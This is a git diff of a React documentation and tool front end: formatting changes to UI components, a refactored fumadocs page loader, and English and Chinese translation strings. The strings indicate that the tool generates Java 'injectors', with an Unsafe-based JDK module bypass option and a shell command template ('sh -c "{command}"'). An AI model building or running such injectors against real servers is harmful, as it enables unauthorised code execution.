"relative isolate z-50 max-h-(--available-height) min-w-32 origin-(--transform-origin) overflow-x-hidden overflow-y-auto rounded-md bg-popover p-1 text-popover-foreground shadow-md ring-1 ring-foreground/10 duration-100 data-closed:animate-out data-closed:fade-out-0 data-closed:zoom-out-95 data-open:animate-in data-open:fade-in-0 data-open:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
|
||||
className,
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
</MenuPrimitive.Positioner>
|
||||
</MenuPrimitive.Portal>
|
||||
);
|
||||
}
|
||||
|
||||
function DropdownMenuItem({ className, ...props }: MenuPrimitive.Item.Props) {
|
||||
return (
|
||||
<MenuPrimitive.Item
|
||||
data-slot="dropdown-menu-item"
|
||||
className={cn(
|
||||
"relative flex w-full cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
|
||||
className,
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
export { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger };
|
||||
@@ -1,13 +1,9 @@
|
||||
import * as React from "react"
|
||||
import { ScrollArea as ScrollAreaPrimitive } from "@base-ui/react/scroll-area"
|
||||
import { ScrollArea as ScrollAreaPrimitive } from "@base-ui/react/scroll-area";
|
||||
import * as React from "react";
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
function ScrollArea({
|
||||
className,
|
||||
children,
|
||||
...props
|
||||
}: ScrollAreaPrimitive.Root.Props) {
|
||||
function ScrollArea({ className, children, ...props }: ScrollAreaPrimitive.Root.Props) {
|
||||
return (
|
||||
<ScrollAreaPrimitive.Root
|
||||
data-slot="scroll-area"
|
||||
@@ -23,7 +19,7 @@ function ScrollArea({
|
||||
<ScrollBar />
|
||||
<ScrollAreaPrimitive.Corner />
|
||||
</ScrollAreaPrimitive.Root>
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
function ScrollBar({
|
||||
@@ -38,7 +34,7 @@ function ScrollBar({
|
||||
orientation={orientation}
|
||||
className={cn(
|
||||
"flex touch-none p-px transition-colors select-none data-horizontal:h-2.5 data-horizontal:flex-col data-horizontal:border-t data-horizontal:border-t-transparent data-vertical:h-full data-vertical:w-2.5 data-vertical:border-l data-vertical:border-l-transparent",
|
||||
className
|
||||
className,
|
||||
)}
|
||||
{...props}
|
||||
>
|
||||
@@ -47,7 +43,7 @@ function ScrollBar({
|
||||
className="relative flex-1 rounded-full bg-border"
|
||||
/>
|
||||
</ScrollAreaPrimitive.Scrollbar>
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
export { ScrollArea, ScrollBar }
|
||||
export { ScrollArea, ScrollBar };
|
||||
|
||||
+1
-1
@@ -7,7 +7,7 @@ const EnvSchema = yup.object({
|
||||
});
|
||||
|
||||
type EnvSchema = yup.InferType<typeof EnvSchema>;
|
||||
function safeParseYup<T>(schema: yup.ObjectSchema<any>, data: unknown) {
|
||||
function safeParseYup<T>(schema: yup.AnySchema, data: unknown) {
|
||||
try {
|
||||
const validatedData = schema.validateSync(data, {
|
||||
abortEarly: false,
|
||||
|
||||
+17
-25
@@ -1,6 +1,5 @@
|
||||
import type { Route } from "./+types/page";
|
||||
|
||||
import browserCollections from "collections/browser";
|
||||
import { useFumadocsLoader } from "fumadocs-core/source/client";
|
||||
import { DocsLayout } from "fumadocs-ui/layouts/docs";
|
||||
import {
|
||||
@@ -11,13 +10,14 @@ import {
|
||||
MarkdownCopyButton,
|
||||
ViewOptionsPopover,
|
||||
} from "fumadocs-ui/layouts/docs/page";
|
||||
import { use } from "react";
|
||||
|
||||
import { useMDXComponents } from "@/components/mdx";
|
||||
import { baseOptions } from "@/lib/layout.shared";
|
||||
import { getPageMarkdownUrl, source } from "@/lib/source";
|
||||
import { docs, getPageMarkdownUrl, source } from "@/lib/source";
|
||||
|
||||
export async function loader({ params }: Route.LoaderArgs) {
|
||||
const slugs = params["*"].split("/").filter((v: string | any[]) => v.length > 0);
|
||||
const slugs = params["*"].split("/").filter((v) => v.length > 0);
|
||||
const page = source.getPage(slugs);
|
||||
if (!page) throw new Response("Not found", { status: 404 });
|
||||
|
||||
@@ -28,24 +28,20 @@ export async function loader({ params }: Route.LoaderArgs) {
|
||||
};
|
||||
}
|
||||
|
||||
const clientLoader = browserCollections.docs.createClientLoader({
|
||||
component(
|
||||
{ toc, frontmatter, default: Mdx },
|
||||
// you can define props for the component
|
||||
{
|
||||
markdownUrl,
|
||||
path,
|
||||
}: {
|
||||
markdownUrl: string;
|
||||
path: string;
|
||||
},
|
||||
) {
|
||||
function Content({ path, markdownUrl }: { path: string; markdownUrl: string }) {
|
||||
const page = docs.getPage(path);
|
||||
if (!page) throw new Error(`unknown page: ${path}`);
|
||||
|
||||
// content is loaded lazily, call `page.preload()` in the loader to avoid suspending
|
||||
const { toc } = use(page.load());
|
||||
const Mdx = page.body;
|
||||
|
||||
return (
|
||||
<DocsPage toc={toc} tableOfContent={{ style: "clerk" }}>
|
||||
<title>{frontmatter.title}</title>
|
||||
<meta name="description" content={frontmatter.description} />
|
||||
<DocsTitle>{frontmatter.title}</DocsTitle>
|
||||
<DocsDescription>{frontmatter.description}</DocsDescription>
|
||||
<title>{page.title}</title>
|
||||
<meta name="description" content={page.description} />
|
||||
<DocsTitle>{page.title}</DocsTitle>
|
||||
<DocsDescription>{page.description}</DocsDescription>
|
||||
<div className="-mt-4 flex flex-row items-center gap-2 border-b pb-6">
|
||||
<MarkdownCopyButton markdownUrl={markdownUrl} />
|
||||
<ViewOptionsPopover
|
||||
@@ -58,18 +54,14 @@ const clientLoader = browserCollections.docs.createClientLoader({
|
||||
</DocsBody>
|
||||
</DocsPage>
|
||||
);
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
export default function Page({ loaderData }: Route.ComponentProps) {
|
||||
const { pageTree, path, markdownUrl } = useFumadocsLoader(loaderData);
|
||||
|
||||
return (
|
||||
<DocsLayout {...baseOptions()} tree={pageTree}>
|
||||
{clientLoader.useContent(loaderData.path, {
|
||||
markdownUrl,
|
||||
path,
|
||||
})}
|
||||
<Content path={path} markdownUrl={markdownUrl} />
|
||||
</DocsLayout>
|
||||
);
|
||||
}
|
||||
|
||||
+1
-10
@@ -1,17 +1,8 @@
|
||||
import { stopwords as mandarinStopwords } from "@orama/stopwords/mandarin";
|
||||
import { createTokenizer } from "@orama/tokenizers/mandarin";
|
||||
import { createFromSource } from "fumadocs-core/search/server";
|
||||
|
||||
import { source } from "@/lib/source";
|
||||
|
||||
const server = createFromSource(source, {
|
||||
components: {
|
||||
tokenizer: createTokenizer({
|
||||
language: "mandarin",
|
||||
stopWords: mandarinStopwords,
|
||||
}),
|
||||
},
|
||||
});
|
||||
const server = createFromSource(source);
|
||||
|
||||
export async function loader() {
|
||||
return server.staticGET();
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
{
|
||||
"about": "About",
|
||||
"documents": "Documents",
|
||||
"basicInfo": "BasicInfo",
|
||||
"byPassJavaModule": "BypassModule",
|
||||
"byPassJavaModule.description": "JDK 9+ module system strictly restricts reflective defineClass calls. When enabled, automatically inserts Unsafe-based module bypass code into injector",
|
||||
"cancel": "Cancel",
|
||||
"copy": "Copy",
|
||||
"copyLabelSuccess": "Copy {{label}} successfully",
|
||||
"copySuccess": "Copy successfully",
|
||||
"debug": "Debug Mode",
|
||||
@@ -56,5 +58,8 @@
|
||||
"commandTemplate": "Command Template",
|
||||
"commandTemplate.placeholder": "e.g., sh -c \"{command}\" 2>&1",
|
||||
"commandTemplate.description": "Use {command} as placeholder",
|
||||
"targetJdkVersion": "JRE Version"
|
||||
"targetJdkVersion": "JRE Version",
|
||||
"decompile": "Decompile",
|
||||
"decompiling": "Decompiling...",
|
||||
"decompileFailed": "Failed to decompile source: {{error}}"
|
||||
}
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
{
|
||||
"about": "关于",
|
||||
"documents": "文档",
|
||||
"basicInfo": "基本信息",
|
||||
"byPassJavaModule": "绕过模块限制",
|
||||
"byPassJavaModule.description": "JDK 9+ 模块化系统严格限制反射调用 defineClass。开启后会在注入器中自动插入使用 Unsafe 绕过模块限制的代码",
|
||||
"cancel": "取消",
|
||||
"copy": "复制",
|
||||
"copyLabelSuccess": "复制 {{label}} 成功",
|
||||
"copySuccess": "复制成功",
|
||||
"debug": "调试模式",
|
||||
@@ -56,5 +58,8 @@
|
||||
"commandTemplate": "命令模板",
|
||||
"commandTemplate.placeholder": "例如:sh -c \"{command}\" 2>&1",
|
||||
"commandTemplate.description": "使用 {command} 作为占位符",
|
||||
"targetJdkVersion": "JRE 版本"
|
||||
"targetJdkVersion": "JRE 版本",
|
||||
"decompile": "反编译",
|
||||
"decompiling": "正在反编译...",
|
||||
"decompileFailed": "反编译源码失败:{{error}}"
|
||||
}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user